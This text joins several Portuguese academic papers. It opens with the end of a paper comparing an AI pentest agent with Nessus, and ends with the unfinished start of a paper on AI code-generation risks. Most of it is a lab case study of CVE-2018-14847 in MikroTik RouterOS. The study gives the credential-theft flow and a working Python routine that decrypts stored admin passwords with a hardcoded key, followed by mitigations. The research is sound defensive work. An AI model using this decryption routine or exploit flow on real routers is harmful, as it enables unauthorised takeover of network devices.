Durante os experimentos, observou-se que o Nessus Essentials, em sua versão gra-
tuita, manteve um desempenho estável e rápido, mas com cobertura limitada, detectando
apenas quatro das vulnerabilidades conhecidas da aplicação OWASP Juice Shop. Em
contraste, o Pentagi, operando com os modelos da Anthropic (Claude 3 Sonnet, Haiku e
Opus), alcançou o melhor resultado geral, identificando até nove vulnerabilidades em uma
única execução. Além da quantidade superior, o agente de IA demonstrou capacidade de
análise interpretativa, fornecendo explicações detalhadas sobre os vetores de ataque e o
comportamento da aplicação alvo.

Assim, este trabalho contribui para o avanço das investigações sobre a integração
entre IA e cibersegurança, demonstrando que a orquestração de ataques automatizados
com LLMs não apenas é possı́vel, mas representa um novo paradigma de automação
inteligente, no qual desempenho técnico, raciocı́nio e explicabilidade caminham juntos
rumo ao futuro das práticas de defesa digital.
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Abstract. This case study evaluates MikroTik RouterOS (≤ 6.42) from the
perspective of the CVE-2018-14847 vulnerability, a path traversal that allows
unauthenticated reading of internal files and, consequently, the exfiltration of
credentials. We classified MikroTik routers as IoT Router Devices (IoT infras-
tructure) and structured the evaluation using the IoTA methodology, validating
it in an isolated laboratory. Versions 6.39.3 (affected) and 6.43rc4 (patched)
were tested, with evidence of the exploit in action. We compared a read-only ex-
ploit (OPSEC) to By the Way (C++), which extends the impact to integrity/per-
sistence by writing artifacts. We discuss practical mitigation (updates, surface
area reduction, IP restriction).

Resumo. Este estudo de caso avalia o MikroTik RouterOS (≤ 6.42) sob a ótica
da vulnerabilidade CVE-2018-14847, um path traversal que permite leitura não
autenticada de arquivos internos e, por consequência, a exfiltração de cre-
denciais. Classificamos roteadores MikroTik como IoT Router Device (infra-
estrutura IoT) e estruturamos a avaliação pela metodologia IoTA, validando
em laboratório isolado. Foram testadas as versões 6.39.3 (afetada) e 6.43rc4
(corrigida), com evidências do exploit em ação. Comparamos um exploit de
somente leitura (OPSEC) ao By the Way (C++), que estende o impacto para
integridade/persistência por escrita de artefatos. Discutimos mitigação prática
(atualizações, redução de superfı́cie, restrição de IP).

1. Introdução
Existem milhares de dispositivos IoT (Internet of Things) expostos à Internet, desde web-
cams a roteadores e sistemas SCADA (Supervisory Control and Data Acquisition), pos-
suindo portas expostas e conectividade direta com a internet. Frequentemente, esses dis-
positivos são deixados sem atualizações e esquecidos. Alguns deles possuem vulnerabili-
dades que são descobertas e podem ser facilmente exploradas com exploits desenvolvidos
ou baixados de sites como o exploit-db. Um desses dispositivos é o roteador MikroTik.

1.1. Panorama histórico da IoT

O termo “Internet of Things” surge em 1999 (Kevin Ashton/MIT) e, desde então, o ecos-
sistema evoluiu com marcos como o lançamento do iPhone (2007), popularização de dis-
positivos domésticos inteligentes (ex.: Echo, 2014) e o impacto de botnets (Mirai, 2016).
A Figura 1 resume essa trajetória e reforça por que a superfı́cie de ataque em IoT cresce
junto com a conectividade.
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Figura 1. Internet of Things — visão histórica e marcos.

1.2. Classes de IoT

Neste trabalho adotamos uma taxonomia pragmática de cinco classes — Consumer, Com-
mercial, Industrial, Infrastructure, Military — consolidada a partir do modelo concei-
tual de Networks of Things do NIST [1], da visão e domı́nios de aplicação da ITU-T
(Y.2060/Y.4000) [2], da segmentação por settings (lares, escritórios, fábricas, obras, ci-
dades) da McKinsey [3] e da literatura sobre Internet of Battlefield Things (IoBT) [4].
Essa consolidação não pretende impor uma taxonomia única, mas oferecer um recorte
consistente para análise de risco por domı́nio de uso.

Consumer IoT: câmeras, lâmpadas, tomadas, wearables, assistentes. Ciclos de
atualização curtos; riscos: credenciais fracas, serviços abertos e firmware desatualizado.
Commercial IoT: saúde, transporte, monitoramento. Dependência de conformidade e
disponibilidade; risco de vazamento de dados.
Industrial IoT (IIoT): automação e controle; riscos a segurança funcional e continui-
dade.
Infrastructure IoT: redes de cidades inteligentes, gateways/roteadores — categoria do
nosso estudo.
Military IoT: sensores e plataformas de defesa; requisitos elevados de confidencialidade
e integridade.

No escopo deste artigo, roteadores/gateways MikroTik (RouterOS) são inven-
tariados como Infrastructure IoT, por operarem como CPE/roteadores de borda com
firmware embarcado e plano de gestão remoto, integrando e segmentando tráfego de dis-
positivos IoT e de serviços públicos/privados [2, 1, 3].

Sob a ótica de segurança, compartilha as mesmas caracterı́sticas e riscos tı́picos
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de IoT: firmware proprietário, exposição à internet e vulnerabilidades conhecidas e ex-
ploráveis remotamente (por exemplo, o CVE-2018-14847 e o envolvimento em botnets
como Mēris). Isso o coloca na mesma superfı́cie de ataque de outros dispositivos IoT e
exige controles equivalentes.

2. Revisão bibliográfica

A base conceitual da IoT, vista por referenciais técnicos, descreve um ecossistema de
dispositivos embarcados conectados, geridos remotamente e acoplados a serviços de bac-
kend. Há convergência em dois pilares: conectividade amplia a superfı́cie de ataque e
o management plane (configuração/atualização) concentra riscos; diverge-se na fronteira
do que conta como “IoT” (primitivas de NoT do NIST vs. camadas/serviços da ITU-T) e
na ênfase por domı́nio (adopção/valor econômico em settings da McKinsey vs. requisitos
de missão crı́tica no IoBT) [1, 2, 3, 4].

Mapeamentos recentes de vulnerabilidades reiteram padrões persistentes em dis-
positivos embarcados: autenticação fraca, path traversal/file disclosure, serviços expostos
por configuração insegura. Concorda-se na cadeia de exploração “exposição de artefatos
→ reaproveitamento de segredos → movimento lateral/persistência”; difere-se no foco
— amplitude empı́rica multiplataforma em [11] versus protocolos de teste e hardening
operacional em [12].

Na borda de rede (roteadores residenciais/corporativos), evidências empı́ricas
apontam janelas de patch irregulares, superfı́cies legadas e exploração econômica em
escala (p. ex., cryptojacking). A concordância recai sobre o papel de “multiplica-
dor de risco” da borda para toda a LAN; a divergência está entre causas estruturais
(ciclo de atualização/UX de gestão) [13] e a documentação do uso malicioso pós-
comprometimento [15].

Pipelines de varredura para ecossistemas web embarcados (e.g., WFinder) mos-
tram que classes como path traversal permanecem detectáveis de forma sistemática
quando a superfı́cie HTTP administrativa é priorizada; concorda-se na utilidade para tri-
agem em larga escala, mas ressalta-se a necessidade de validação manual para contexto e
impacto [14].

O caso MikroTik (CVE-2018-14847) sintetiza esses vetores: path traversal no
plano de gestão (Winbox/WebFig) permitindo leitura não autenticada de user.dat e
exfiltração de credenciais, com correções documentadas por fabricante e bases públicas
— um exemplo tı́pico de risco em Infrastructure IoT, com lições diretas para redução de
superfı́cie e governança de patch [7, 8, 9].

3. Metodologia IoTA: fundamentos, escopo e aplicação

A Internet of Things Assessment (IoTA) é uma abordagem de Red Team para ava-
liar a segurança de dispositivos e arquiteturas IoT [5]. O framework toma como base a
noção de Networks of Things (NoT) do NIST SP 800-183 [1], que define IoT como uma
instância de NoT em que os “things” estão conectados à Internet. No modelo de NoT, o
ecossistema é composto por cinco primitivas [1]: (i) Sensor (mede propriedades fı́sicas
e fornece dados), (ii) Aggregator (software que transforma dados brutos em agregados),
(iii) Communication Channel (meio de transmissão, fio ou rádio), (iv) eUtility (serviços
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e sistemas externos que processam/armazenam dados: APIs, nuvem, bancos, humanos),
e (v) Decision Trigger (condição que aciona uma ação, tipicamente implementada em
código)[1].

O foco da IoTA[5] e o equipamento embarcado colocado nas mãos do consumidor
(residencial ou corporativo), e sua infraestrutura de suporte: o hardware e firmware/OS
do dispositivo, os fluxos de rede e equipamentos de borda, os serviços de backend (web,
DB, APIs), os aplicativos móveis associados, e as redes de suporte entre o dispositivo
e as eUtilities (ex.: IEEE 802.15.4/ZigBee/6LoWPAN, IEEE 802.11, LoRa, GSM/LTE,
além de Ethernet/USB/HDMI). A soma desses elementos forma um ecossistema; intervir
em uma parte (p. ex., firmware) rapidamente produz efeitos em outras (p. ex., app, API,
backend).

3.1. Princı́pios de avaliação

A IoTA[5] recomenda princı́pios para garantir consistência e valor prático:

• Análise prática e pertinente: definir escopo e adversário (recursos, tempo,
motivaçåo) e concentrar nos vetores com maior risco realista; documentar
ameaças descartadas e por que nao foram priorizadas.

• Método cientı́fico: formar hipóteses, observar, experimentar, medir e iterar; re-
gistrar ambiente, parâmetros e resultados para reproducão.

• Equipe multidisciplinar: competencias em eletronica, RF, protocolos, redes,
web/API/mobile, criptografia, RE, forense e desenvolvimento de exploits; cola-
boracao e compartilhamento de achados.

• Reprodutibilidade: evidências suficientes para que outro analista reproduza o
achado; POC, dados, passos e indicadores de sucesso/falha.

• Avaliação de risco: descrever risco, probabilidade, impacto e qualidade dos dados
(entendimento, disponibilidade, qualidade e confiabilidade), além da urgência.

• Oportunidades defensivas: alem de achar vulnerabilidades, apontar medidas
técnicas e processuais de mitigacao viáveis. [5]

3.2. Metodologia prática: do reconhecimento a pós-exploracão

A IoTA organiza o trabalho em linhas de teste que podem ocorrer em paralelo:

1. Recon/OSINT: coletar informação pública (documentação, datasheets, manuais,
fóruns, FCCID, patentes, block diagrams) para mapear funções, versões e su-
perfı́cie de ataque.

2. Inspeção fı́sica e interfaces: identificar portas de serviço e depuração
(UART/RS232/RS485/CAN/USB), conectores, trilhas e proteções fisicas/tamper;
medir tensões/continuidade e, quando seguro, fazer probing com osciloscopio/LA.

3. Barras internas e armazenamento: analisar I2C/SPI e EEPROM/flash para
dump de firmware/configuração/segredos; considerar técnicas de rework, passive
tap ou lift de pinos, sempre com controle de risco (brick).

4. Criptografia e autenticacão: buscar erros clássicos (RNG fraco, reuso de keys-
tream, replay sem proteção, modos inseguros, ICV fraco, ausência de AEAD,
chaves curtas, IV fraco), inclusive em caminhos firmware–rádio (criptografia feita
no chip de rádio mas tráfego em claro no barramento).
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5. Firmware: obter/empacotar/desempacotar imagens (binwalk, firmware-mod-kit,
etc.), procurar secrets hardcoded (usuários, senhas, chaves, tokens), bibliotecas de
terceiros vulneráveis, scripts/binaries próprios e configurações inseguras; atenção
a assinatura e verificação de integridade (code signing).

6. Simulação/emulação: quando possı́vel, emular o hardware/firmware para exerci-
tar casos de teste e fuzzing com melhor observabilidade e depuração.

7. RF: identificar banda, modulação, canalização/hopping, protocolo de alto nı́vel;
avaliar criptografia, pareamento/PIN e implementar sniffing, replay e, com isola-
mento legal/técnico adequado, testes de jamming para observar modos de falha.

8. Web/API/mobile: testar apps embarcados (WebUI/CGI), serviços (REST/SO-
AP/GraphQL), apps iOS/Android (cert pinning, libs) e integrações cloud; aplicar
tecnicas padrao de AppSec (XSS, SQLi, XXE, IDOR, sessão).

9. Fuzzing e glitching: fuzzing nos canais disponı́veis; power/clock/NAND glitching
para pular rotinas de segurança em ambientes controlados.

10. Pós-exploração e mitigações: consolidar impacto, caminhos de atacantes, har-
dening priorizado e requisitos de correição (p. ex., atualização, reduzir plano de
gestão, MFA, telemetria e detecção).

3.2.1. Entregáveis esperados

Ao final, a IoTA defende um pacote de resultados: (i) registro de riscos priorizado (com
probabilidade, impacto e qualidade dos dados), (ii) POCs reprodutı́veis e evidências,
(iii) recomendações técnicas/processuais (curto, médio, longo prazo), e (iv) insumos
de arquitetura (lições para design seguro e processos de SDLC/DevSecOps para IoT).

A mesma trilha pode ser reaproveitada para outros roteadores de borda, ajustando
apenas os protocolos/canais e os artefatos de firmware.

4. Metodologia deste estudo
4.1. Modelo de ameaça
Atacante remoto em rede IP (AV:N), sem privilégios e sem interação do usuário final.
Objetivo: comprometer credenciais administrativas e obter controle do dispositivo. Alvo:
MikroTik RouterOS; IP: 172.18.162.31. Versões: 6.39.3 (afetada) e 6.43rc4 (corri-
gida). Serviços administrativos: Winbox (8291/TCP) e WebFig (HTTP/HTTPS); serviços
auxiliares quando habilitados (SSH/Telnet/FTP).

4.2. Procedimento
(1) Enumeração (Nmap) e banners; (2) verificação read-only da vulnerabilidade; (3)
aplicação de patch/mitigações e minimização de exposição; (4) reteste; (5) classificação
CVSS v4.0 e mapeamento a padrões.

5. Anatomia técnica da CVE-2018-14847
5.1. Arquitetura do plano de gerenciamento
O RouterOS expõe serviços administrativos (Winbox/WebFig/API) que conversam com
módulos internos responsáveis por operações no sistema de arquivos e subsistemas de
autenticação/autorização. Componentes compartilhados explicam por que o defeito ob-
servado via Winbox também se manifesta no WebFig.
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5.2. Fluxo de ataque (conceitual)

O fluxo pode ser descrito como: requisita artefato interno usando caminho manipulado
→ módulo interpreta caminho sem normalização adequada→ retorna conteúdo ao cli-
ente, sem autenticação. Esse retorno inclui artefatos sensı́veis (ex.: base de usuários),
permitindo encadeamento para tomada de controle.

5.3. Localização do defeito e correção conceitual

O defeito decorre de validação insuficiente de caminho combinada a checagens de
autorização inadequadas. A correção conceitual inclui: canonicalização de caminho
(sem .., links, ou aliases) antes do acesso; lista positiva de artefatos acessı́veis; checa-
gem de autorização obrigatória para qualquer leitura fora de um cofre de dados seguro.

5.4. Como o patch corrige

Notas oficiais e análises independentes indicam que o patch de abril/2018 removeu a
possibilidade de requisitar o banco de usuários via Winbox, reforçou validações de ca-
minho/arquivo e fechou múltiplas rotas de traversal no protocolo administrativo. Efeito
prático: requisições não autenticadas deixam de retornar artefatos sensı́veis; tentativas de
traversal são bloqueadas; o comportamento do serviço/banners muda.

6. Comparativo multi-versão (antes/depois)

Tabela 1. Comportamento por versão (resumo)

Versão Portas/banners Leitura não autenticada Observações
6.39.3 Winbox/HTTP/SSH/Telnet/FTP Possı́vel (vulnerável) Exposição ampla
6.42 Winbox/HTTP Possı́vel (vulnerável) Exposição ampla
6.43rc4 Winbox/HTTP (restrito) Bloqueada RC corretivo

7. Resultados

7.1. Enumeração: serviços expostos

Utilizamos nmap para realizar o recon do device, verificando quais portas estão expostas.

Figura 2. Nmap (172.18.162.31) indicando serviços administrativos expostos.
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7.2. Confirmação de versão e acesso WebFig

Acessando a url http://172.18.162.31 pelo navegador, conseguimos verificar o painel ad-
ministrativo Web do Mikrotik, contendo sua versão, e ainda conseguimos validar se cre-
denciais padrões estão ativas.

Figura 3. Banner WebFig reportando RouterOS v6.39.3 e falha de autenticação.

7.3. Verificação controlada (read-only)

Utilizamos um exploit desenvolvido em python para realizar a extração dos usuários e
senhas do Mikrotik, optamos por essa versão para evitarmos a escrita no arquivo como
sugere o exploit By the Way encontrado no site Exploit-DB, dessa forma conseguimos
simular menos ruı́do como numa operação realistica.

Figura 4. Extração de credencial administrativa (senha obtida).
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7.4. Acesso pós-verificação (com segredos redigidos)

Com posse das credenciais obtidas conseguimos logar no painel administrativo web do
Mikrotik. Também foi possı́vel validarmos o acesso via ssh com as mesmas credenciais.

Figura 5. Login na interface WebFig utilizando a credencial recuperada (redi-
gida).

Figura 6. Login via SSH com a credencial recuperada (banner RouterOS 6.39.3).

8. Comparativo de Exploits: read-only vs read→write
Na tabela abaixo é possı́vel verificar a diferença entre os exploits.
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Tabela 2. Resumo comparativo entre os dois exploits analisados

Dimensão Python (somente leitura) C++ By the Way (leitura +
escrita)

Objetivo Verificar CVE-2018-14847
lendo user.dat e decodifi-
cando credenciais

Ler user.dat, obter creden-
ciais e criar arquivos para ha-
bilitar devel

Alteração de estado Não altera o dispositivo (read-
only)

Sim: cria /pckg/option e
/flash/nova/etc/devel-login

Pré-requisito Serviço Winbox vulnerável
(leitura sem auth)

Idem + credencial (obtida)
para autenticar e gravar

Impacto Confidencialidade (exfiltração
de credenciais)

Confidencialidade + Integri-
dade (persistência/backdoor)

OPSEC Baixo ruı́do evitando logs Maior ruı́do: escrita, per-
sistência e backdoor

8.1. Fluxo conceitual da exploração via Winbox

Esse seria o fluxo do ataque.

1. Hello/Open: cliente inicia sessão e recebe session id.
2. Path traversal (read): requisição de abertura/leitura com caminho manipulado

(../) para flash/rw/store/user.dat.
3. Resposta: serviço retorna conteúdo (vulnerável) ou erro (corrigido).
4. Decodificação: parser extrai entradas M2 de user.dat e decripta senhas.

8.2. Decriptação (Python)

Listing 1. Decriptação do campo de senha do user.dat

import hashlib

def decrypt_password(username_bytes, pass_enc_bytes):
# Chave: MD5( username || "283i4jfkai3389" )
key = hashlib.md5(username_bytes + b"283i4jfkai3389").digest

()

out = []
for i, c in enumerate(pass_enc_bytes):

out.append(c ˆ key[i % len(key)])
# senha ate o primeiro \x00
return bytes(out).split(b"\x00")[0].decode("utf-8", "

backslashreplace")

9. Classificação de risco (CVSS v4.0)

9.1. Abuse case da CVE-2018-14847

A Figura 7 resume um fluxo de abuso possı́vel quando o dispositivo se encontra vulnerável
(RouterOS ≤ 6.42): (i) requisição M2 com path traversal para leitura de user.dat;
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Tabela 3. Métricas CVSS v4.0 (estimadas)

Vetor Base AV:N / AC:L / PR:N / UI:N / SC:U / CI:H / II:H / AI:N
Justificativa Leitura não autenticada; uso subsequente das credenciais

pode elevar VI (Integrity) de Baixo para Alto (e possivel-
mente VA) ao permitir alterações de configuração.

Severidade Crı́tica quando serviço é exposto

(ii) resposta com conteúdo de user.dat; (iii) decriptação offline via MD5(username
+ ”283i4jfkai3389”) e XOR; (iv) autenticação nos serviços de gestão; (v) ações pós-
exploração.

Figura 7. Abuse case da CVE-2018-14847 em MikroTik RouterOS (Winbox/Web-
Fig).

10. Metodologia IoTA aplicada ao caso MikroTik
Para estruturar a avaliação, adotamos a Internet of Things Attack Methodology
(IoTA)[5] como trilha de atividades. No contexto desta pesquisa, as etapas foram ma-
peadas assim:

1. Descoberta & Classificação de Ativos: Identificação do roteador como roteador
de borda embarcado (classe IoT) e confirmação de versão/edição do RouterOS.

2. Redução de Superfı́cie: Revisão do management plane (Winbox/WebFig/API),
portas expostas, origem de administração e serviços legados.

3. Modelagem de Ameaças & Hipóteses: Seleção da CVE-2018-14847 como
hipótese principal de exploração (path traversal para leitura de user.dat).

4. Exercı́cio de Exploração: Execução do fluxo M2 (open → read) para obter
user.dat em versão vulnerável.

5. Decriptação & Pós-exploração: Decriptação offline (MD5(username +
‘‘283i4jfkai3389’’) e XOR) e autenticação para verificação de impacto.
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6. Mitigações & Hardening: Recomendações de atualização, restrição do plano de
gestão, autenticação forte e telemetria (logging e correlação).

7. Relato Reprodutı́vel: Registro de evidências, versões testadas (6.39.3 afetada e
6.43rc4 corrigida), parâmetros e indicadores de correção.

Essa organização facilita a replicabilidade do estudo e o reaproveitamento do pro-
cedimento em outros edge routers em cenários domésticos e corporativos.

11. Mitigações e boas práticas

Atualizar para versões corrigidas; restringir Winbox/WebFig a VLAN/hosts de
administração (firewall deny-by-default); desativar Telnet/FTP/bandwidth-test quando
desnecessários; fortalecer credenciais e auditoria; polı́tica de atualização contı́nua e com-
pliance periódico.

Figura 8. Versão do RouterOS não vulnerável
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Figura 9. Exploit não sendo possı́vel executar

12. Conclusão
Documentamos, em ambiente isolado, como a CVE-2018-14847 em RouterOS ≤ 6.42
permite exfiltração de credenciais e como o patch altera o comportamento do serviço por
meio de um estudo prático. Com base na metodologia IoTA, realizamos reconhecimento,
montagem de laboratório isolado e testes controlados em duas versões: 6.39.3 (afetada) e
6.43rc4 (corrigida). Os experimentos confirmaram a exploração na versão vulnerável e a
mudança de comportamento pós-patch. Também comparamos dois caminhos de ataque:
um exploit de leitura apenas (menor atrito/OPSEC), focado em evidenciar o vazamento
de credenciais, e o By the Way (C++), que amplia o impacto ao possibilitar escrita de
artefatos e, portanto, afetar integridade e persistência. Esse contraste evidencia um padrão
recorrente em IoT/infra: falhas inicialmente ligadas à confidencialidade tendem a escalar
para integridade e disponibilidade quando segredos vazados são reutilizados.

A partir dos achados, foram propostas recomendações objetivas: atualização de
firmware para versões corrigidas, redução de superfı́cie de ataque (isolar Winbox/Web-
Fig/API em VLAN/ACL dedicadas e filtrar por IP de origem; desabilitar serviços lega-
dos como Telnet/FTP; deny-by-default no firewall), endurecimento de credenciais (se-
nhas fortes, rotação, e MFA quando aplicável) e telemetria/detecção (monitoração de
8291/TCP, tentativas de leitura anômalas e falhas de autenticação). Destaca-se que dispo-
sitivos antigos ou desatualizados permanecem suscetı́veis e contribuem para um ambiente
IoT inseguro, reforçando a responsabilidade compartilhada entre fabricantes, operadores
e usuários: segurança precisa ser requisito de projeto e processo contı́nuo (inventário,
janela de patch, evidência de aplicação).

Por fim, observou-se que a barreira técnica para a exploração é relativamente
baixa, dado o acesso a ferramentas e artefatos públicos, o que amplia o risco de
disseminação. Em sı́ntese, identificar e corrigir tempestivamente vulnerabilidades como
a CVE-2018-14847 é crucial para preservar confidencialidade, integridade e disponi-
bilidade em ambientes conectados. Espera-se que os resultados e as recomendações
aqui apresentados sirvam de referência prática para equipes de segurança, auxiliando na
padronização de controles em roteadores de borda e contribuindo para a maturidade de
segurança do ecossistema IoT.
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Apêndice: Estrutura do user.dat: mapeamento dos campos (Winbox
NV/TLV)
O arquivo user.dat é composto por uma sequência de mensagens (nv messages) geral-
mente marcadas por ‘M2‘. Cada entrada contém pares tag→valor. A Tabela 4 resume
os campos mais relevantes observados na literatura e em prática forense.

Tabela 4. Principais tags do user.dat (valores ilustrativos; podem variar por
versão)

Tag (hex) Tipo Descrição
0x01 00 00 21 string (len+bytes) Nome de usuário (ex.: admin); primeiro byte

após a tag indica o comprimento.
0x11 00 00 21 string (len+bytes) Senha cifrada; decriptada via

MD5(username||‘‘283i4jfkai3389’’)
+ XOR até 0x00.

0x02 u32 Grupo/perfil: 1=read, 2=write, 3=full (ad-
min).

0xFE 00 0A boolean Usuário desabilitado: true se a conta está
inativa.

0x1F u32 Flag de senha presente: valores não nulos in-
dicam senha definida.

M2 (0x4D 0x32) marcador Inı́cio de uma entrada/registro; usado para seg-
mentar múltiplos usuários.

Notas. (i) O mapeamento acima resulta de engenharia reversa e pode variar entre versões
do RouterOS; (ii) o indicador 0x0000001F é inferido por correlação com a presença
de senha em 6.x; (iii) em versões corrigidas, a leitura remota do user.dat não é mais
possı́vel pelo fluxo Winbox descrito.
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Abstract. This study investigates the security gaps that may emerge throughout 

the Software Development Life Cycle due to the adoption of automated code 

generation tools. The research analyzes how these systems can influence 

security practices by identifying potential risks. The results demonstrate that, 

although Artificial Intelligence provides significant gains, its adoption without 

adequate controls may introduce risks and expand the attack surface of 

applications. Therefore, it is concluded that the responsible integration of these 

technologies requires governance, continuous human oversight, and security 

guidelines to ensure reliability and resilience in software development. 

Keywords: Artificial Intelligence; Software Security; Development Lifecycle; Vulnerabilities; AI 

Governance. 

Resumo. Este trabalho investiga as lacunas de segurança que podem emergir 

ao longo do Ciclo de Vida de Desenvolvimento de Software em decorrência da 

adoção de soluções de geração automática de código. A pesquisa analisa de 

que forma estes sistemas podem influenciar as práticas de segurança, 

identificando potenciais riscos. Os resultados obtidos demonstram que, embora 

a Inteligência Artificial ofereça ganhos expressivos, sua adoção sem controles 

adequados pode introduzir riscos e ampliar a superfície de ataque das 

aplicações. Desta forma, conclui-se que a integração responsável destas 

tecnologias requer governança, revisão humana contínua e diretrizes de 

segurança para garantir a confiabilidade e resiliência no desenvolvimento. 

Palavras-chave: Inteligência Artificial; Segurança de Software; Ciclo de Vida de Desenvolvimento; 

Vulnerabilidades; Governança de IA. 

1. Introdução 

O processo de desenvolvimento de software tem passado por transformações 

significativas desde a década de 1960, as quais alteraram profundamente o paradigma da 

engenharia de sistemas. Cada revolução digital reconfigurou estruturalmente as etapas de 

projeto, teste e manutenção. Nesse cenário, torna-se imperativo que as organizações 

compreendam tais impactos para fundamentar a tomada de decisão e mitigar riscos 

operacionais [Laato et al., 2021]. A evolução histórica, que outrora se baseava na 

programação estruturada sob o modelo Waterfall (Cascata), transicionou para 

metodologias ágeis e, contemporaneamente, converge para o uso de plataformas low-

code, computação em nuvem e sistemas de automação avançada impulsionados por 

Inteligência Artificial (IA).  
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O advento da IA elevou a complexidade do ecossistema de desenvolvimento de software. 

Embora prometa ganhos em eficiência, automação e inovação, a tecnologia introduz 

vulnerabilidades inéditas à segurança e à privacidade de dados. Esse cenário expõe um 

descompasso entre as diretrizes de segurança consolidadas e os novos desafios 

emergentes. 

A problemática reside, primordialmente, na estrutura das diretrizes tradicionais. Estas 

foram concebidas sob premissas que se tornam voláteis diante de tecnologias disruptivas, 

demandando revisões profundas ou a formulação de novos marcos normativos 

[CAMPOS; CARREIRO, 2024]. Devido à natureza complexa e à menor previsibilidade 

da IA, as normas atuais muitas vezes falham em cobrir integralmente o Ciclo de Vida de 

Desenvolvimento de Software (SDLC), deixando lacunas críticas de segurança. 

Ademais, a integração da IA acentua o abismo entre diferentes perfis profissionais. 

Tradicionalmente, desenvolvedores e especialistas em segurança operam em silos 

distintos, contudo, a adoção de ferramentas baseadas em IA exige uma competência 

híbrida. Ambos devem ser capazes de avaliar a integridade dos modelos e os riscos 

inerentes à sua integração. 

Nesse contexto, este artigo analítico propõe-se a analisar, através de trabalhos 

bibliográficos e principais fontes de segurança da indústria, as vulnerabilidades de 

segurança que emergem especificamente na etapa de codificação do SDLC decorrentes 

da adoção de ferramentas de IA. Para tanto, é fundamental investigar o grau de cobertura 

das principais normativas internacionais e o panorama global de integração dessas 

tecnologias. A análise fundamenta-se nos padrões ISO/IEC 27001:2022 [ISO, 2022], nas 

metodologias da OWASP (Open Worldwide Application Security Project) [OWASP, 

2023] e no NIST SP 800-218 [SOUPPAYA; SCARFONE; DODSON, 2022]. 

Dada a rápida disseminação do uso da IA nas organizações, torna-se imperativo mitigar 

as lacunas nas diretrizes vigentes, seja por meio de atualizações normativas ou do 

desenvolvimento de frameworks específicos para o desenvolvimento de software 

mediado por Inteligência Artificial. 

2. Fundamentação Teórica 

Nesta seção são apresentados os conceitos e etapas que teoricamente permitem integrar 

as melhores práticas e a adoção da IA no SSDLC (Secure Software Development Life 

Cycle ou Ciclo de Vida do Desenvolvimento Seguro de Software).   

2.1. Aplicação de Segurança no Ciclo de Desenvolvimento de Software (SSDLC) 

A integração de segurança, no ciclo de vida de desenvolvimento de software, o chamado 

Secure Software Development Lifecycle (SSDLC), teve início no termo Security 

Development Lifecycle, um movimento de integrar segurança nos estágios iniciais 

começou a ganhar força, parte de uma iniciativa denominada Trustworthy Computing da 

Microsoft [ASSAL; CHIASSON, 2018]. Com o tempo, o conceito evoluiu para Secure 

Software Development Lifecycle, indicando que, a partir deste momento, a segurança 

passou a ser incorporada de forma definitiva e sistemática ao desenvolvimento de 

software. O objetivo constituía proteger aplicações e informações contra práticas 

inseguras e agentes mal-intencionados, por meio da implementação de medidas que 

previnam vulnerabilidades e mitiguem riscos de segurança [OTIENO et al., 2023]. 
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2.2. Inteligência Artificial aplicada ao Ciclo de Desenvolvimento de Software 

Dentro do âmbito de desenvolvimento de software, diversas etapas do SDLC já são 

potencializadas por ferramentas baseadas em IA, como geração e documentação de 

código, triagem de problemas e debugging, testes, aprimoramento de pipelines de CI/CD 

e práticas de desenvolvimento ágil [STÅHLBERG; V., 2024]. Esses são apenas alguns 

exemplos dentro de um número cada vez maior de possibilidades, já que muitas das 

ferramentas de apoio do CI/CD estão tornando-se AI-driven ou AI-powered. 

Segundo Soares et al. (2025), a Inteligência Artificial carrega riscos concretos às 

soluções, destacando-se: a opacidade do funcionamento dessas tecnologias, dos dados 

utilizados e dos resultados gerados; o enviesamento decorrente da qualidade, 

representatividade ou imparcialidade dos dados de treinamento ou alimentação de 

sistemas; as vulnerabilidades resultantes de falhas, erros ou ataques direcionados, que 

comprometem a integridade, disponibilidade, confiabilidade e robustez das soluções; e, 

por fim, a aceitação acrítica de decisões automatizadas, sem verificação ou supervisão, o 

que pode gerar consequências em diferentes níveis. 

Entre as principais soluções consideradas para este trabalho foram: ChatGPT (OpenAI) 

sistema de inteligência artificial generativa para linguagem natural e geração de código; 

GitHub Copilot ferramenta de assistência à programação baseada em inteligência 

artificial; Amazon CodeWhisperer ferramenta de geração automática de código baseada 

em inteligência artificial; Google Gemini Code Assist Assistente de programação baseado 

em modelos de linguagem de grande escala. 

2.3. Gestão de Riscos e a Inteligência Artificial 

O processo de gestão de riscos no desenvolvimento de software é um tema que vem 

evoluindo desde a década de 80. Segundo Boehm (1991), a gestão de riscos deve ser 

integrada como parte essencial dentro do ciclo de desenvolvimento de software. Já Fairley 

(1994) complementa que a gestão de riscos deve ser considerada desde a concepção do 

software.  

A introdução de ferramentas de transformação digital, a exemplo da Inteligência 

Artificial, carrega consigo uma mudança importante nos paradigmas de gestão de riscos 

conhecidos, novos contextos tecnológicos alteram completamente o modo em que 

operações são realizadas e, sem uma adaptação da estrutura de governança de riscos, as 

consequências podem ser desafiadoras. 

3. Metodologia 

A estratégia de pesquisa parte do entendimento de que ainda não existe um controle 

eficaz, dentro das organizações, que cubra integralmente os riscos associados à integração 

de ferramentas baseadas em IA no ciclo de desenvolvimento de software. Assim, propõe-

se a definição de um conjunto de diretrizes de segurança que apoie organizações na 

implementação dessas ferramentas em sua pipeline de CI/CD, sem comprometer a 

segurança de suas aplicações, informações e infraestrutura.  

A metodologia do estudo, como apresentado na Figura 1, será desenvolvida em quatro 

etapas principais. Inicialmente, no quadrante da Figura 1 denominado ”Revisão 

Documental, será feito um levantamento comparativo dos principais frameworks 

relevantes: ISO/IEC 27001:2022 (segurança da informação) [ISO, 2022], OWASP 
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(práticas de codificação segura) [OWASP, 2023] e NIST SP 800 218 (Secure Software 

Development Framework — SSDF) [SOUPPAYA; SCARFONE; DODSON, 2022]. 

Nesta fase, serão identificados os domínios, controles e práticas contemplados por cada 

framework, com especial atenção à sua aplicabilidade no ciclo de vida de 

desenvolvimento de software (SDLC). 

Em seguida, será realizado um levantamento qualitativo dos principais riscos associados 

à utilização, na fase de codificação do SDLC, de ferramentas baseadas em IA — por 

exemplo, assistentes de codificação automática ou sistemas de geração de código 

assistida. Nesse sentido, serão coletados dados a partir de literatura recente, relatórios da 

indústria e estudos de caso. 

A partir desses riscos identificados, será feita uma análise cruzada entre cada risco e as 

capacidades de mitigação ou controle fornecidas por cada um dos frameworks 

previamente examinados. O objetivo desta etapa é evidenciar onde tais frameworks não 

oferecem cobertura adequada ou não fornecem orientação específica para os riscos 

emergentes da IA no SDLC. 

Por fim, como ilustrado no quadrante “Diretrizes Práticas Adicionais”, serão elaboradas 

recomendações práticas, com base nas lacunas detectadas, para apoiar as organizações no 

